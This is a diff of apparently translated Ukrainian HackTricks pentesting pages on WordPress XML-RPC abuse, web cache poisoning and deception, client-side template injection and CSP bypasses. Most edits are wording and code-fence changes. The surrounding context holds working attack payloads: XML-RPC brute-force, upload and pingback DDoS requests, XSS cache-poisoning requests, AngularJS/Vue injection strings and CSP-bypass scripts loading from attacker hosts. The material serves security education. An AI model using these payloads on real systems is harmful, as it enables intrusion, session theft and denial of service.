**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** - це деякі з методів, які можна використовувати для брутфорсу облікових даних. Якщо ви зможете знайти будь-який з них, ви можете надіслати щось на зразок:
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
<params>
|
||||
@ -139,7 +139,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
.png>)
|
||||
|
||||
Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з'явиться шлях ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```markup
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
<methodName>wp.uploadFile</methodName>
|
||||
@ -174,13 +174,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
**Обхід 2FA**
|
||||
|
||||
Цей метод призначений для програм, а не для людей, і є старим, тому не підтримує 2FA. Отже, якщо у вас є дійсні облікові дані, але головний вхід захищений 2FA, **ви можете зловживати xmlrpc.php, щоб увійти з цими обліковими даними, обминаючи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, які ви можете зробити через консоль, але ви все ще можете отримати доступ до RCE, як пояснює Ippsec у [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Цей метод призначений для програм, а не для людей, і є старим, тому не підтримує 2FA. Отже, якщо у вас є дійсні облікові дані, але головний вхід захищений 2FA, **ви можете зловживати xmlrpc.php, щоб увійти з цими обліковими даними, обминаючи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, які можна виконати через консоль, але ви все ще можете отримати доступ до RCE, як пояснює Ippsec у [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS або сканування портів**
|
||||
|
||||
Якщо ви можете знайти метод _**pingback.ping**_ у списку, ви можете змусити Wordpress надіслати довільний запит до будь-якого хоста/порту.\
|
||||
Це можна використовувати, щоб попросити **тисячі** сайтів **Wordpress** **доступитися** до одного **місця** (так що в цьому місці викликано **DDoS**) або ви можете використовувати це, щоб змусити **Wordpress** **сканувати** якусь внутрішню **мережу** (ви можете вказати будь-який порт).
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
<params><param>
|
||||
@ -196,7 +196,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
Подивіться на використання **`system.multicall`** в попередньому розділі, щоб дізнатися, як зловживати цим методом для виклику DDoS.
|
||||
|
||||
**DDoS**
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
<params>
|
||||
@ -246,7 +246,7 @@ return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Модифікація php з теми, що використовується (потрібні облікові дані адміністратора)**
|
||||
**Модифікація php з теми (потрібні облікові дані адміністратора)**
|
||||
|
||||
Зовнішній вигляд → Редактор тем → Шаблон 404 (праворуч)
|
||||
|
||||
@ -289,13 +289,13 @@ to get a session.
|
||||
|
||||
.png>)
|
||||
|
||||
Доступ до неї, і ви побачите URL для виконання реверсної оболонки:
|
||||
Доступ до неї, і ви побачите URL для виконання реверс-оболонки:
|
||||
|
||||
.png>)
|
||||
|
||||
### Завантаження та активація шкідливого плагіна
|
||||
|
||||
Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, який можна експлуатувати для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином:
|
||||
Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, і його можна експлуатувати для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином:
|
||||
|
||||
1. **Отримання плагіна**: Плагін отримується з джерела, такого як Exploit DB, як [**тут**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Встановлення плагіна**:
|
||||
@ -338,7 +338,7 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Один із способів, яким плагін може відкривати функції для використання, - це через AJAX обробники. Ці обробники можуть містити логіку, помилки авторизації або аутентифікації. Більше того, досить часто ці функції базують як аутентифікацію, так і авторизацію на існуванні nonce Wordpress, який **будь-який користувач, аутентифікований у екземплярі Wordpress, може мати** (незалежно від його ролі).
|
||||
Один із способів, яким плагін може відкривати функції для використання, - це через AJAX-обробники. Ці обробники можуть містити логіку, помилки авторизації або аутентифікації. Більше того, досить часто ці функції базують як аутентифікацію, так і авторизацію на існуванні nonce Wordpress, який **будь-який користувач, що аутентифікований у екземплярі Wordpress, може мати** (незалежно від його ролі).
|
||||
|
||||
Це функції, які можуть бути використані для відкриття функції в плагіні:
|
||||
```php
|
||||
|
@ -1,31 +1,31 @@
|
||||
# Отруєння кешу та обман кешу
|
||||
# Cache Poisoning and Cache Deception
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Різниця
|
||||
## The difference
|
||||
|
||||
> **У чому різниця між отруєнням веб-кешу та обманом веб-кешу?**
|
||||
> **Яка різниця між отруєнням кешу веб-додатків та обманом кешу веб-додатків?**
|
||||
>
|
||||
> - У **отруєнні веб-кешу** зловмисник змушує додаток зберігати деякий шкідливий контент у кеші, і цей контент надається іншим користувачам додатка з кешу.
|
||||
> - У **обмані веб-кешу** зловмисник змушує додаток зберігати деякий чутливий контент, що належить іншому користувачеві, у кеші, а потім зловмисник отримує цей контент з кешу.
|
||||
> - У **отруєнні кешу веб-додатків** зловмисник змушує додаток зберігати деякий шкідливий контент у кеші, і цей контент надається іншим користувачам додатка з кешу.
|
||||
> - У **обмані кешу веб-додатків** зловмисник змушує додаток зберігати деякий чутливий контент, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей контент з кешу.
|
||||
|
||||
## Отруєння кешу
|
||||
## Cache Poisoning
|
||||
|
||||
Отруєння кешу спрямоване на маніпулювання кешем на стороні клієнта, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, частковими або під контролем зловмисника. Ступінь впливу залежить від популярності ураженої сторінки, оскільки забруднена відповідь надається виключно користувачам, які відвідують сторінку під час періоду забруднення кешу.
|
||||
|
||||
Виконання атаки отруєння кешу включає кілька етапів:
|
||||
|
||||
1. **Ідентифікація незахищених вхідних даних**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінювати відповідь, що повертається сервером. Ідентифікація цих вхідних даних є критично важливою, оскільки їх можна використовувати для маніпуляції кешем.
|
||||
1. **Ідентифікація незахищених вхідних даних**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінити відповідь, що повертається сервером. Ідентифікація цих вхідних даних є критично важливою, оскільки їх можна використовувати для маніпуляції кешем.
|
||||
2. **Експлуатація незахищених вхідних даних**: Після ідентифікації незахищених вхідних даних наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника.
|
||||
3. **Забезпечення кешування отруєної відповіді**: Останній крок полягає в тому, щоб переконатися, що маніпульована відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час отруєння кешу, отримає забруднену відповідь.
|
||||
|
||||
### Виявлення: Перевірка HTTP заголовків
|
||||
### Discovery: Check HTTP headers
|
||||
|
||||
Зазвичай, коли відповідь була **збережена в кеші**, буде **заголовок, що це вказує**, ви можете перевірити, на які заголовки слід звернути увагу в цьому пості: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Виявлення: Коди помилок кешування
|
||||
### Discovery: Caching error codes
|
||||
|
||||
Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати **надіслати запити з неправильним заголовком**, на які має бути відповідь з **кодом статусу 400**. Потім спробуйте отримати доступ до запиту нормально, і якщо **відповідь має код статусу 400**, ви знаєте, що це вразливість (і ви навіть можете виконати DoS).
|
||||
Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати **надіслати запити з неправильним заголовком**, на які має бути відповідь з **кодом статусу 400**. Потім спробуйте отримати доступ до запиту нормально, і якщо **відповідь має статус код 400**, ви знаєте, що це вразливе (і ви навіть можете виконати DoS).
|
||||
|
||||
Ви можете знайти більше варіантів у:
|
||||
|
||||
@ -35,26 +35,26 @@ cache-poisoning-to-dos.md
|
||||
|
||||
Однак зверніть увагу, що **іноді такі коди статусу не кешуються**, тому цей тест може бути ненадійним.
|
||||
|
||||
### Виявлення: Ідентифікація та оцінка незахищених вхідних даних
|
||||
### Discovery: Identify and evaluate unkeyed inputs
|
||||
|
||||
Ви можете використовувати [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) для **грубої сили параметрів і заголовків**, які можуть **змінювати відповідь сторінки**. Наприклад, сторінка може використовувати заголовок `X-Forwarded-For`, щоб вказати клієнту завантажити скрипт звідти:
|
||||
```markup
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### Викликати шкідливу відповідь від серверу
|
||||
|
||||
З ідентифікованим параметром/заголовком перевірте, як він **санітується** і **де** він **відображається** або впливає на відповідь з заголовка. Чи можете ви зловживати цим (виконати XSS або завантажити JS-код, контрольований вами? виконати DoS?...)
|
||||
З ідентифікованим параметром/заголовком перевірте, як він **санітується** і **де** він **відображається** або впливає на відповідь з заголовка. Чи можете ви його зловживати (виконати XSS або завантажити JS-код, контрольований вами? виконати DoS?...)
|
||||
|
||||
### Отримати відповідь в кеші
|
||||
|
||||
Якщо ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** її **зловживати**, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд.
|
||||
Якщо ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** його **зловживати**, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд.
|
||||
|
||||
Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`**, коли запит не кешується, і значення **`hit`**, коли він кешується.\
|
||||
Заголовок **`Cache-Control`** також цікавий, щоб дізнатися, чи ресурс кешується і коли наступного разу ресурс буде кешуватися знову: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключовими. Тому, якщо користувач знає `User-Agent` жертви, на яку він націлений, він може отруїти кеш для користувачів, які використовують цей конкретний `User-Agent`.
|
||||
Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключовими. Тому, якщо користувач знає `User-Agent` жертви, на яку він націлений, він може отруїти кеш для користувачів, використовуючи цей конкретний `User-Agent`.
|
||||
|
||||
Ще один заголовок, пов'язаний з кешем, - **`Age`**. Він визначає час у секундах, протягом якого об'єкт перебував у проксі-кеші.
|
||||
Ще один заголовок, пов'язаний з кешем, - **`Age`**. Він визначає час у секундах, протягом якого об'єкт перебуває в проксі-кеші.
|
||||
|
||||
При кешуванні запиту будьте **обережні з заголовками, які ви використовуєте**, оскільки деякі з них можуть бути **використані несподівано** як **ключові**, і **жертва повинна буде використовувати той самий заголовок**. Завжди **тестуйте** отруєння кешу з **різними браузерами**, щоб перевірити, чи це працює.
|
||||
|
||||
@ -64,7 +64,7 @@ cache-poisoning-to-dos.md
|
||||
|
||||
Заголовок, як-от `X-Forwarded-For`, відображається у відповіді без санітизації.\
|
||||
Ви можете надіслати базовий XSS-пейлоад і отруїти кеш, щоб усі, хто отримує доступ до сторінки, стали жертвами XSS:
|
||||
```markup
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
@ -79,8 +79,8 @@ cache-poisoning-to-dos.md
|
||||
|
||||
### Використання отруєння веб-кешу для експлуатації вразливостей обробки cookie
|
||||
|
||||
Cookies також можуть бути відображені у відповіді сторінки. Якщо ви зможете зловживати цим, щоб викликати XSS, наприклад, ви зможете експлуатувати XSS у кількох клієнтах, які завантажують шкідливу відповідь кешу.
|
||||
```markup
|
||||
Cookie також можуть бути відображені у відповіді сторінки. Якщо ви зможете зловживати цим, щоб викликати XSS, наприклад, ви зможете експлуатувати XSS у кількох клієнтах, які завантажують шкідливу відповідь кешу.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
@ -107,8 +107,8 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Використання кількох заголовків для експлуатації вразливостей отруєння веб-кешу <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Іноді вам потрібно буде **експлуатувати кілька незаключених вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, що контролюється вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.
|
||||
```markup
|
||||
Іноді вам потрібно буде **експлуатувати кілька неключових вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, що контролюється вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **перенаправляє** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
@ -117,7 +117,7 @@ X-Forwarded-Scheme: http
|
||||
### Використання з обмеженим заголовком `Vary`
|
||||
|
||||
Якщо ви виявили, що заголовок **`X-Host`** використовується як **ім'я домену для завантаження JS-ресурсу**, але заголовок **`Vary`** у відповіді вказує на **`User-Agent`**. Тоді вам потрібно знайти спосіб ексфільтрувати User-Agent жертви та отруїти кеш, використовуючи цей User-Agent:
|
||||
```markup
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
|
||||
@ -125,7 +125,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
Надішліть GET запит з запитом в URL та в тілі. Якщо веб-сервер використовує той, що в тілі, але сервер кешу кешує той, що в URL, будь-хто, хто отримує доступ до цього URL, насправді використовуватиме параметр з тіла. Як вразливість, яку знайшов Джеймс Кеттл на сайті Github:
|
||||
Надішліть GET запит з запитом в URL та в тілі. Якщо веб-сервер використовує той, що в тілі, але сервер кешу кешує той, що в URL, будь-хто, хто отримує доступ до цього URL, насправді використовуватиме параметр з тіла. Як у вразливості, яку виявив Джеймс Кеттл на сайті Github:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -176,15 +176,15 @@ Cloudflare раніше кешував відповіді 403. Спроба до
|
||||
|
||||
### Вставка параметризованих параметрів
|
||||
|
||||
Кеші часто включають специфічні GET параметри в ключ кешу. Наприклад, Varnish від Fastly кешував параметр `size` у запитах. Однак, якщо URL-кодована версія параметра (наприклад, `siz%65`) також була надіслана з помилковим значенням, ключ кешу буде сформований, використовуючи правильний параметр `size`. Проте бекенд обробляв значення в URL-кодованому параметрі. URL-кодування другого параметра `size` призвело до його пропуску кешем, але його використанням бекендом. Призначення значення 0 для цього параметра призвело до кешованої помилки 400 Bad Request.
|
||||
Кеші часто включають специфічні GET параметри в ключ кешу. Наприклад, Varnish від Fastly кешував параметр `size` у запитах. Однак, якщо URL-кодована версія параметра (наприклад, `siz%65`) також була надіслана з помилковим значенням, ключ кешу буде сформований, використовуючи правильний параметр `size`. Проте бекенд обробляв значення в URL-кодованому параметрі. URL-кодування другого параметра `size` призвело до його пропуску кешем, але його використанням бекендом. Призначення значення 0 цьому параметру призвело до кешованої помилки 400 Bad Request.
|
||||
|
||||
### Правила User Agent
|
||||
|
||||
Деякі розробники блокують запити з user-agent, які відповідають інструментам з високим трафіком, таким як FFUF або Nuclei, щоб управляти навантаженням на сервер. Іронічно, цей підхід може ввести вразливості, такі як отруєння кешу та DoS.
|
||||
Деякі розробники блокують запити з user-agent, які відповідають user-agent інструментів з високим трафіком, таких як FFUF або Nuclei, щоб управляти навантаженням на сервер. Іронічно, цей підхід може ввести вразливості, такі як отруєння кешу та DoS.
|
||||
|
||||
### Неправильні поля заголовків
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, повинні ідеально викликати відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Яскравим прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, якщо заголовок `cache-control` відсутній. Було виявлено експлуатовану схему, де надсилання заголовка з недійсним символом, таким як `\`, призводило до кешованої помилки 400 Bad Request.
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, повинні ідеально викликати відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Помітним прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, якщо заголовок `cache-control` відсутній. Було виявлено експлуатовану схему, де надсилання заголовка з недійсним символом, таким як `\`, призводило до кешованої помилки 400 Bad Request.
|
||||
|
||||
### Знаходження нових заголовків
|
||||
|
||||
@ -209,7 +209,7 @@ Cloudflare раніше кешував відповіді 403. Спроба до
|
||||
У прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, таку як _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернуто, і сервер кешу збережеться результат.\
|
||||
Тоді **зловмисник** може отримати доступ до _http://www.example.com/home.php/non-existent.css_ у своєму браузері та спостерігати за **конфіденційною інформацією** користувачів, які отримали доступ раніше.
|
||||
|
||||
Зверніть увагу, що **кеш-проксі** повинні бути **налаштовані** на **кешування** файлів **на основі** **розширення** файлу (_.css_) і не на основі типу вмісту. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати тип вмісту `text/html` замість `text/css` (який очікується для _.css_ файлу).
|
||||
Зверніть увагу, що **кеш-проксі** повинні бути **налаштовані** на **кешування** файлів **на основі** **розширення** файлу (_.css_) і не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати `text/html` content-type замість `text/css` mime type (який очікується для _.css_ файлу).
|
||||
|
||||
Дізнайтеся тут, як виконати [атаки отруєння кешу, зловживаючи HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
|
@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Summary
|
||||
## Резюме
|
||||
|
||||
Це схоже на [**Server Side Template Injection**](ssti-server-side-template-injection/index.html), але в **клієнті**. **SSTI** може дозволити вам **виконувати код** на віддаленому сервері, **CSTI** може дозволити вам **виконувати довільний JavaScript** код у браузері жертви.
|
||||
|
||||
**Тестування** на цю вразливість дуже **схоже** на випадок **SSTI**, інтерпретатор очікує **шаблон** і виконає його. Наприклад, з корисним навантаженням, як `{{ 7-7 }}`, якщо додаток **вразливий**, ви побачите `0`, а якщо ні, ви побачите оригінал: `{{ 7-7 }}`
|
||||
**Тестування** на наявність цієї вразливості дуже **схоже** на випадок **SSTI**, інтерпретатор очікує **шаблон** і виконає його. Наприклад, з корисним навантаженням, як `{{ 7-7 }}`, якщо додаток **вразливий**, ви побачите `0`, а якщо ні, ви побачите оригінал: `{{ 7-7 }}`
|
||||
|
||||
## AngularJS
|
||||
|
||||
AngularJS - це широко використовуваний JavaScript фреймворк, який взаємодіє з HTML через атрибути, відомі як директиви, одна з яких - **`ng-app`**. Ця директива дозволяє AngularJS обробляти HTML вміст, що дозволяє виконувати JavaScript вирази всередині подвійних фігурних дужок.
|
||||
|
||||
У сценаріях, де введення користувача динамічно вставляється в HTML тіло, позначене `ng-app`, можливо виконати довільний JavaScript код. Це можна досягти, використовуючи синтаксис AngularJS у введенні. Нижче наведені приклади, які демонструють, як можна виконати JavaScript код:
|
||||
У ситуаціях, коли введення користувача динамічно вставляється в HTML тіло, позначене `ng-app`, можливо виконати довільний JavaScript код. Це можна досягти, використовуючи синтаксис AngularJS у введенні. Нижче наведені приклади, що демонструють, як можна виконувати JavaScript код:
|
||||
```javascript
|
||||
{{$on.constructor('alert(1)')()}}
|
||||
{{constructor.constructor('alert(1)')()}}
|
||||
@ -31,7 +31,7 @@ AngularJS - це широко використовуваний JavaScript фре
|
||||
Працююче корисне навантаження: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
|
||||
|
||||
А також **джерельний код** вразливого прикладу тут: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||||
```markup
|
||||
```html
|
||||
<!-- Google Research - Vue.js-->
|
||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||
```
|
||||
|
@ -18,10 +18,10 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
```
|
||||
### Заголовки
|
||||
|
||||
CSP може бути застосований або моніторений за допомогою цих заголовків:
|
||||
CSP може бути застосований або моніторинг за допомогою цих заголовків:
|
||||
|
||||
- `Content-Security-Policy`: Застосовує CSP; браузер блокує будь-які порушення.
|
||||
- `Content-Security-Policy-Report-Only`: Використовується для моніторингу; повідомляє про порушення без їх блокування. Ідеально підходить для тестування в середовищах перед випуском.
|
||||
- `Content-Security-Policy-Report-Only`: Використовується для моніторингу; повідомляє про порушення без їх блокування. Ідеально підходить для тестування в передвиробничих середовищах.
|
||||
|
||||
### Визначення ресурсів
|
||||
|
||||
@ -40,16 +40,16 @@ object-src 'none';
|
||||
### Директиви
|
||||
|
||||
- **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT стилями.
|
||||
- **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли конкретні директиви отримання відсутні.
|
||||
- **default-src**: Встановлює стандартну політику для отримання ресурсів, коли конкретні директиви отримання відсутні.
|
||||
- **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
|
||||
- **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
|
||||
- **frame-src**: Обмежує URL для фреймів.
|
||||
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, і `<applet>`.
|
||||
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, та `<applet>`.
|
||||
- **img-src**: Визначає дозволені джерела для зображень.
|
||||
- **font-src**: Вказує дійсні джерела для шрифтів, завантажених за допомогою `@font-face`.
|
||||
- **manifest-src**: Визначає дозволені джерела файлів маніфесту додатка.
|
||||
- **media-src**: Визначає дозволені джерела для завантаження медіа-об'єктів.
|
||||
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, і `<applet>`.
|
||||
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, та `<applet>`.
|
||||
- **base-uri**: Вказує дозволені URL для завантаження за допомогою елементів `<base>`.
|
||||
- **form-action**: Перераховує дійсні кінцеві точки для відправки форм.
|
||||
- **plugin-types**: Обмежує mime-типи, які може викликати сторінка.
|
||||
@ -62,7 +62,7 @@ object-src 'none';
|
||||
|
||||
### Джерела
|
||||
|
||||
- `*`: Дозволяє всі URL, крім тих, що з `data:`, `blob:`, `filesystem:` схемами.
|
||||
- `*`: Дозволяє всі URL, крім тих, що мають схеми `data:`, `blob:`, `filesystem:`.
|
||||
- `'self'`: Дозволяє завантаження з того ж домену.
|
||||
- `'data'`: Дозволяє завантаження ресурсів через схему даних (наприклад, зображення, закодовані в Base64).
|
||||
- `'none'`: Блокує завантаження з будь-якого джерела.
|
||||
@ -96,7 +96,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
- `filesystem:`: Дозволяє завантаження ресурсів з файлової системи.
|
||||
- `'report-sample'`: Включає зразок порушуючого коду у звіт про порушення (корисно для налагодження).
|
||||
- `'strict-origin'`: Схоже на 'self', але забезпечує, щоб рівень безпеки протоколу джерел відповідав документу (тільки безпечні джерела можуть завантажувати ресурси з безпечних джерел).
|
||||
- `'strict-origin-when-cross-origin'`: Надсилає повні URL-адреси при виконанні запитів з одного джерела, але лише надсилає джерело, коли запит є міждоменним.
|
||||
- `'strict-origin-when-cross-origin'`: Надсилає повні URL-адреси при виконанні запитів того ж походження, але лише надсилає походження, коли запит є крос-доменним.
|
||||
- `'unsafe-allow-redirects'`: Дозволяє завантаження ресурсів, які негайно перенаправлять на інший ресурс. Не рекомендується, оскільки це послаблює безпеку.
|
||||
|
||||
## Небезпечні правила CSP
|
||||
@ -105,7 +105,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
Робочий пейлоад: `"/><script>alert(1);</script>`
|
||||
Робочий payload: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' через Iframes
|
||||
|
||||
@ -133,7 +133,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
Працюючий payload:
|
||||
```markup
|
||||
```html
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
```
|
||||
@ -144,7 +144,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
Працюючі пейлоади:
|
||||
```markup
|
||||
```html
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
<param name="AllowScriptAccess" value="always"></object>
|
||||
@ -156,12 +156,12 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
Якщо ви можете завантажити файл JS, ви можете обійти цей CSP:
|
||||
|
||||
Робочий вантаж:
|
||||
```markup
|
||||
```html
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволить вам **завантажити лише певні типи файлів**.
|
||||
|
||||
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про розширення _**.wave**_, тому не обслуговує його з **MIME типом, як audio/\***.
|
||||
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про розширення _**.wave**_, тому не подає його з **MIME типом, як audio/\***.
|
||||
|
||||
Звідси, якщо ви знайдете XSS і завантаження файлів, і вам вдасться знайти **неправильно інтерпретоване розширення**, ви можете спробувати завантажити файл з цим розширенням і вмістом скрипта. Або, якщо сервер перевіряє правильний формат завантаженого файлу, створіть поліглот ([деякі приклади поліглотів тут](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
@ -201,7 +201,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
|
||||
